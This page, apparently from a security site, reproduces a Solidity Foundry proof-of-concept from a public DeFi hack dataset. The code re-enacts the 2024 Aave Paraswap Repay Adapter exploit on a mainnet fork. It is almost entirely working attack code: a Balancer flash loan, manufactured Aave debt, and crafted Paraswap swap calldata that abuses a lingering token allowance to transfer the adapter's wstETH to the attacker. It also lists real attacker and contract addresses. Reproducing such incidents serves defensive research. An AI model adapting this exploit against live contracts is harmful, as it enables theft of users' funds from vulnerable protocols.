Public reproduction file
src/test/2024-08/AAVE_Repay_Adapter.sol
Public reproduction file for dataset entry AAVE.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";6import "./../interface.sol";8// @KeyInfo - Total Lost : 560009// Attacker : https://etherscan.io/address/0x6ea83f23795f55434c38ba67fcc428aec0c296dc10// Attack Contract : https://etherscan.io/address/0x5e2FFf7bBc7c634992170fF18240b8f10c4D48C611// Created Attack Contract: https://etherscan.io/address/0x78B0168a18eF61D7460FAbb4795e5f1A9226583E12// Vulnerable Contract : https://etherscan.io/address/0x02e7b8511831b1b02d9018215a0f8f500ea5c6b313// Attack Tx : https://etherscan.io/tx/0xc27c3ec61c61309c9af35af062a834e0d6914f9352113617400577c0f2b0e9de15// @Info16// Vulnerable Contract Code : https://etherscan.io/address/0x02e7b8511831b1b02d9018215a0f8f500ea5c6b3#code18// @Analysis19// Post-mortem : https://blog.solidityscan.com/aave-repay-adapter-hack-analysis-aafd234e15b920// Twitter Guy : https://twitter.com/quillaudits_ai/status/182874145752553096822pragma solidity ^0.8.0;24struct PermitSignature {25 uint256 amount;26 uint256 deadline;27 uint8 v;28 bytes32 r;29 bytes32 s;30}32interface IParaswapRepayAdapter {33 function swapAndRepay(34 address collateralAsset,35 address debtAsset,36 uint256 collateralAmount,37 uint256 debtRepayAmount,38 uint256 debtRateMode,39 uint256 buyAllBalanceOffset,40 bytes calldata paraswapData,41 PermitSignature calldata permitSignature42 ) external;43}45struct SimpleData {46 address fromToken;47 address toToken;48 uint256 fromAmount;49 uint256 toAmount;50 uint256 expectedAmount;51 address[] callees;52 bytes exchangeData;53 uint256[] startIndexes;54 uint256[] values;55 address payable beneficiary;56 address payable partner;57 uint256 feePercent;58 bytes permit;59 uint256 deadline;60 bytes16 uuid;61}63contract AAVERepayAdapterHack is BaseTestWithBalanceLog {64 uint256 blocknumToForkFrom = 20_624_703;66 address LIDOWST = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;67 address USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;68 address WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;70 address BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;71 address PARASWAP_REPAY_ADAPTER = 0x02e7B8511831B1b02d9018215a0f8f500Ea5c6B3;73 address AAVE_WBTC_V3 = 0x5Ee5bf7ae06D1Be5997A1A72006FE6C607eC6DE8;74 address AAVE_WSTETH_V3 = 0x0B925eD163218f6662a35e0f0371Ac234f9E9371;76 address ORACLE;77 address POOL; // 0x87870bca3f3fd6335c3f4ce8392d69350b4fa4e279 address AUGUSTUS_SWAPPER = 0xDEF171Fe48CF0115B1d80b88dc8eAB59176FEe57;81 function setUp() public {82 vm.createSelectFork("mainnet", blocknumToForkFrom);83 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit84 fundingToken = LIDOWST;86 (, bytes memory result2) = PARASWAP_REPAY_ADAPTER.staticcall(abi.encodeWithSignature("ORACLE()"));87 ORACLE = abi.decode(result2, (address));89 (, bytes memory result) = PARASWAP_REPAY_ADAPTER.staticcall(abi.encodeWithSignature("POOL()"));90 POOL = abi.decode(result, (address));91 }93 function testExploit() public balanceLog {94 // NOTE: FOR BREVITY of the POC, WE'LL ONLY STEAL THE LIDO WST, but the same can be done for each token in the Adapter96 uint256 balanceBeforeLIDOWST = IERC20(LIDOWST).balanceOf(PARASWAP_REPAY_ADAPTER);97 uint256 balanceBeforeUSDT = IERC20(USDT).balanceOf(PARASWAP_REPAY_ADAPTER);98 uint256 balanceBeforeWBTC = IERC20(WBTC).balanceOf(PARASWAP_REPAY_ADAPTER);99 // Log both100 console.log("LIDOWST in PARASWAP_REPAY_ADAPTER balance before: %s", balanceBeforeLIDOWST);101 console.log("USDT in PARASWAP_REPAY_ADAPTER balance before: %s", balanceBeforeUSDT);102 console.log("WBTC in PARASWAP_REPAY_ADAPTER balance before: %s", balanceBeforeWBTC);104 uint256 balanceVaultWBTC = IERC20(WBTC).balanceOf(BALANCER_VAULT);105 uint256 balanceVaultLIDOWST = IERC20(LIDOWST).balanceOf(BALANCER_VAULT);106 uint256 balanceVaultUSDT = IERC20(USDT).balanceOf(BALANCER_VAULT);108 // Log floashLoaned balances109 console.log("Will flash: [WBTC] %s", balanceVaultWBTC); // all vault110 console.log("Will flash: [LIDOWST] %s", balanceVaultLIDOWST); // all vault111 console.log("Will flash: [USDT] %s", balanceVaultUSDT); // all vault113 uint256[] memory amounts = new uint256[](3);114 amounts[0] = balanceVaultWBTC;115 amounts[1] = balanceVaultLIDOWST;116 amounts[2] = balanceVaultUSDT;118 address[] memory tokens = new address[](3);119 tokens[0] = WBTC;120 tokens[1] = LIDOWST;121 tokens[2] = USDT;123 // Flash loan Balancer max value of each token124 IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, "");125 }127 function receiveFlashLoan(128 address[] calldata tokens,129 uint256[] calldata amounts,130 uint256[] calldata premiums,131 bytes calldata data132 ) external {133 // Log POOL134 console.log("POOL: %s", POOL); // 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2 Aave Ethereum USDC135 // Underlying -> 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 (USDC)137 // Allow Aave Pool V3 to spend the tokens138 uint256 mustRepayWBTC = amounts[0] + premiums[0];139 uint256 mustRepayLIDOWST = amounts[1] + premiums[1];140 uint256 mustRepayUSDT = amounts[2] + premiums[2];142 IERC20(WBTC).approve(POOL, mustRepayWBTC);143 IERC20(LIDOWST).approve(POOL, mustRepayLIDOWST);144 IUSDT(USDT).approve(POOL, mustRepayUSDT);146 IAaveFlashloan pool = IAaveFlashloan(POOL);148 // Supply x2 Balance of PARASWAP_REPAY_ADAPTER balance so we can call repayAndSwap after149 uint256 balanceBeforeWBTC = IERC20(WBTC).balanceOf(PARASWAP_REPAY_ADAPTER);150 uint256 balanceBeforeLIDOWST = IERC20(LIDOWST).balanceOf(PARASWAP_REPAY_ADAPTER);151 uint256 balanceBeforeUSDT = IERC20(USDT).balanceOf(PARASWAP_REPAY_ADAPTER);152 // Log both153 {154 // Supply BTC to use as collateral155 pool.supply(WBTC, mustRepayWBTC, address(this), 0);156 ILendingPool(POOL).setUserUseReserveAsCollateral(WBTC, true);157 IERC20(AAVE_WBTC_V3).approve(PARASWAP_REPAY_ADAPTER, mustRepayWBTC);159 console.log("LIDOWST in PARASWAP_REPAY_ADAPTER at the moment: %s", balanceBeforeLIDOWST);160 uint256 someLIDOWSTsupplied = balanceBeforeLIDOWST * 2;161 IERC20(LIDOWST).approve(POOL, someLIDOWSTsupplied);162 pool.supply(LIDOWST, someLIDOWSTsupplied, address(this), 0);164 // Log supplied165 console.log("Supplied LIDOWST %s", LIDOWST);167 // Calc amount USDT to borrow168 uint256 calcBorrowUSDT = _getBorrowAmount(balanceBeforeLIDOWST, USDT);169 uint256 finalBorrowAmount = calcBorrowUSDT + (calcBorrowUSDT / 10);171 // Log finaborrowAmount172 console.log("finalBorrowAmount: %s", finalBorrowAmount);173 require(finalBorrowAmount == 1_776_451_780, "wrong calculation");175 IERC20(AAVE_WSTETH_V3).approve(PARASWAP_REPAY_ADAPTER, mustRepayLIDOWST);177 // We borrow to create an artifical debt inside AAVE, so we can use the PARASWAP_REPAY_ADAPTER to repay it178 // We repay it partially on each `.withdraw()` call (2) through the hack179 ILendingPool(POOL).borrow(USDT, finalBorrowAmount, 2, 0, address(this));181 console.log("collateralAmount: %s", balanceBeforeLIDOWST);182 console.log("debtRepayAmount: %s", calcBorrowUSDT);184 bytes memory paraswapData;186 {187 address[] memory callees = new address[](1);188 callees[0] = address(this);189 bytes memory exchangeData = abi.encodeWithSignature("withdraw(address,uint256)", USDT, calcBorrowUSDT);191 // console.log("Exchange data:");192 // console.logBytes(exchangeData);193 // console.logBytes(hex"f3fef3a3000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec70000000000000000000000000000000000000000000000000000000060424684");195 uint256[] memory startIndexes = new uint256[](2);196 startIndexes[0] = 0;197 startIndexes[1] = 68;198 uint256[] memory values = new uint256[](1);199 values[0] = 0;200 bytes memory buyCallData = abi.encodeWithSelector(201 hex"54e3f31b",202 (203 SimpleData( // simpleSwap 54e3f31b204 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, // fromToken (WETH) (even if we will say to swapAndRepay() our collateral is gonna be LIDO)205 USDT, // toToken206 0, // fromAmount207 calcBorrowUSDT, // toAmount208 calcBorrowUSDT, // Expected amount209 callees,210 exchangeData,211 startIndexes,212 values,213 payable(PARASWAP_REPAY_ADAPTER), // beneficiary214 payable(address(this)), // partner215 0, // feePercent216 hex"", // permit217 1_724_819_351, // deadline218 bytes16(0)219 )220 )221 );223 paraswapData = abi.encode(buyCallData, AUGUSTUS_SWAPPER);224 }225 // console.log("Paraswap data:");226 // console.logBytes(paraswapData);228 // Since AUGUSTUS_SWAPPER never cleans up the allowance of fromToken (LIDOWST), we do a first repay so229 // tokenTransferProxy has extremely high allowance,230 // our crafter buyCallData allow us to repay with our own funds from `.withdraw()` in our contract, not actually going through any swapping flow231 IParaswapRepayAdapter(PARASWAP_REPAY_ADAPTER).swapAndRepay(232 LIDOWST, // collateralAsset233 USDT, // debtAsset234 balanceBeforeLIDOWST,235 calcBorrowUSDT,236 2,237 0,238 paraswapData,239 PermitSignature(0, 0, 0, 0, 0) // We already approved240 );242 // Time to abuse the extreme approval and steal the funds while repaying our USDT debt in the meantime244 // Get our USDT debt245 uint256 debtUSDT = IERC20(0x6df1C1E379bC5a00a7b4C6e67A203333772f45A8).balanceOf(address(this));246 uint256 LidoWST_ToStealFromAdapter = IERC20(LIDOWST).balanceOf(PARASWAP_REPAY_ADAPTER);248 {249 address[] memory callees = new address[](2);250 callees[0] = LIDOWST;251 callees[1] = address(this);252 bytes memory exchangePart1 =253 abi.encodeWithSignature("transfer(address,uint256)", address(this), LidoWST_ToStealFromAdapter); // Transfer LIDOWST to us254 bytes memory exchangePart2 = abi.encodeWithSignature("withdraw(address,uint256)", USDT, debtUSDT); // Repay our .borrow() debt255 bytes memory exchangeData = abi.encodePacked(exchangePart1, exchangePart2);257 // console.log("Exchange data:");258 // console.logBytes(exchangeData);259 // console.log("0xa9059cbb00000000000000000000000078b0168a18ef61d7460fabb4795e5f1a9226583e00000000000000000000000000000000000000000000000005e9564c2c66c4f7f3fef3a3000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec70000000000000000000000000000000000000000000000000000000009a03a40");261 uint256[] memory startIndexes = new uint256[](3);262 startIndexes[0] = 0;263 startIndexes[1] = 68;264 startIndexes[2] = 136;265 uint256[] memory values = new uint256[](2);266 values[0] = 0;267 values[1] = 0;268 bytes memory buyCallData = abi.encodeWithSelector(269 hex"54e3f31b",270 (271 SimpleData( // simpleSwap 54e3f31b272 LIDOWST, // fromToken273 USDT, // toToken274 LidoWST_ToStealFromAdapter, // fromAmount (all LIDOWST in PARASWAP_REPAY_ADAPTER)275 debtUSDT, // toAmount276 debtUSDT, // Expected amount277 callees,278 exchangeData,279 startIndexes,280 values,281 payable(PARASWAP_REPAY_ADAPTER), // beneficiary282 payable(address(this)), // partner283 0, // feePercent284 hex"", // permit285 1_724_819_351, // deadline286 bytes16(0)287 )288 )289 );291 paraswapData = abi.encode(buyCallData, AUGUSTUS_SWAPPER);292 }293 // console.log("Paraswap data:");294 // console.logBytes(paraswapData);296 IParaswapRepayAdapter(PARASWAP_REPAY_ADAPTER).swapAndRepay(297 WBTC, // collateralAsset298 USDT, // debtAsset299 1,300 debtUSDT,301 2,302 0,303 paraswapData,304 PermitSignature(0, 0, 0, 0, 0) // We already approved305 );307 // Verify we stole the funds308 console.log(309 "WSTETH in PARASWAP_REPAY_ADAPTER at the moment: %s", IERC20(LIDOWST).balanceOf(PARASWAP_REPAY_ADAPTER)310 ); // 0312 // Get back our supplied LIDOWST & WBTC (use type(uint).max to get all possible)313 ILendingPool(POOL).withdraw(LIDOWST, type(uint256).max, address(this));314 ILendingPool(POOL).withdraw(WBTC, type(uint256).max, address(this));315 // console.log("Withdrew %s ", USDC);316 }318 repayFlashLoan(tokens, amounts, premiums);319 }321 // Calculation from here: https://app.dedaub.com/ethereum/address/0x78b0168a18ef61d7460fabb4795e5f1a9226583e/decompiled322 // Basically (PriceInUSDT + 30% + 1) + 10%324 function _getBorrowAmount(uint256 balanceBeforeLIDOWST, address outToken) private view returns (uint256) {325 IPriceOracleGetter oracle = IPriceOracleGetter(ORACLE);326 uint256 priceLIDOWST = oracle.getAssetPrice(LIDOWST);327 uint256 priceUSDT = oracle.getAssetPrice(USDT);328 console.log("Price LIDOWST: %s", priceLIDOWST);329 console.log("Price USDT: %s", priceUSDT);331 uint256 priceUSDTAdjusted = priceUSDT * 10 ** 6;332 uint256 priceLIDOWSTAdjusted = priceLIDOWST * 10 ** 18;334 uint256 balanceTimesPrice = balanceBeforeLIDOWST * priceLIDOWSTAdjusted;335 uint256 balanceDividedByPrice = balanceTimesPrice / priceUSDTAdjusted;336 uint256 someUSDTborrowed = balanceDividedByPrice * 13_000 / 10_000;338 // Clean up to correct decimals339 someUSDTborrowed = someUSDTborrowed / 10 ** (18 + 6);340 someUSDTborrowed += 1; // to avoid rounding errors341 console.log("Some _getBorrowAmount: %s", someUSDTborrowed);342 return someUSDTborrowed;343 }345 // Gets called twice per attack on a specific token346 // First time it pays the swapAndRepay using its own funds (you're still repaying your own "debt" so no money is really lost since you can withdraw it back)347 // Second time it steals the funds348 function withdraw(address user, uint256 withdrawAmount) public {349 console.log("Withdraw %s", withdrawAmount);350 IUSDT(user).transfer(msg.sender, withdrawAmount);351 }353 function repayFlashLoan(354 address[] calldata tokens,355 uint256[] calldata amounts,356 uint256[] calldata premiums357 ) public {358 for (uint256 i = 0; i < tokens.length; i++) {359 IUSDT(tokens[i]).transfer(BALANCER_VAULT, amounts[i] + premiums[i]);360 }361 }362}Analysis
Dataset entry
Public Foundry test for “AAVE” (2024-08-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
13 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-08/COCO_exp.solSame month in the dataset · 57 lines
- src/test/2024-08/Convergence_exp.solSame month in the dataset · 79 lines
- src/test/2024-08/IvestDao_exp.solSame month in the dataset · 66 lines
- src/test/2024-08/NovaXM2E_exp.solSame month in the dataset · 72 lines
- src/test/2024-08/OMPxContract_exp.solSame month in the dataset · 107 lines
- src/test/2024-08/unverified_667d_exp.solSame month in the dataset · 65 lines
- src/test/2024-08/VOW_exp.solSame month in the dataset · 120 lines
- src/test/2024-08/YodlRouter_exp.solSame month in the dataset · 66 lines
- src/test/2024-08/Zenterest_exp.solSame month in the dataset · 54 lines
- src/test/2025-06/AAVEBoost_exp.solSame protocol or name in the dataset · 78 lines
- src/test/2026-04/AaveRebalancerCreditDelegation_exp.solSame protocol or name in the dataset · 126 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x6ea83f23795f55434c38ba67fcc428aec0c296dc
- Attack Contract
0x5e2fff7bbc7c634992170ff18240b8f10c4d48c6
- Vulnerable Contract
0x02e7b8511831b1b02d9018215a0f8f500ea5c6b3
- Attack Tx
0xc27c3ec61c61309c9af35af062a834e0d6914f9352113617400577c0f2b0e9de
- Post: https://blog.solidityscan.com/aave-repay-adapter-hack-analysis-aafd234e15b9
- Twitter: https://twitter.com/quillaudits_ai/status/1828741457525530968
- Explorer: https://etherscan.io/address/0x6ea83f23795f55434c38ba67fcc428aec0c296dc
- Explorer: https://etherscan.io/address/0x5e2FFf7bBc7c634992170fF18240b8f10c4D48C6
- Explorer: https://etherscan.io/address/0x78B0168a18eF61D7460FAbb4795e5f1A9226583E
- Explorer: https://etherscan.io/address/0x02e7b8511831b1b02d9018215a0f8f500ea5c6b3
- Explorer: https://etherscan.io/address/0x02e7b8511831b1b02d9018215a0f8f500ea5c6b3#code
File record
- Name
- AAVE
- Path
- src/test/2024-08/AAVE_Repay_Adapter.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f536527b8133ecd7e8c9815f708803809ef6df4d
- Language
- Solidity
- Size
- 363 lines
- Date
- 2024-08-28
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-08/AAVE_Repay_Adapter.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f536527b8133ecd7e8c9815f708803809ef6df4d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.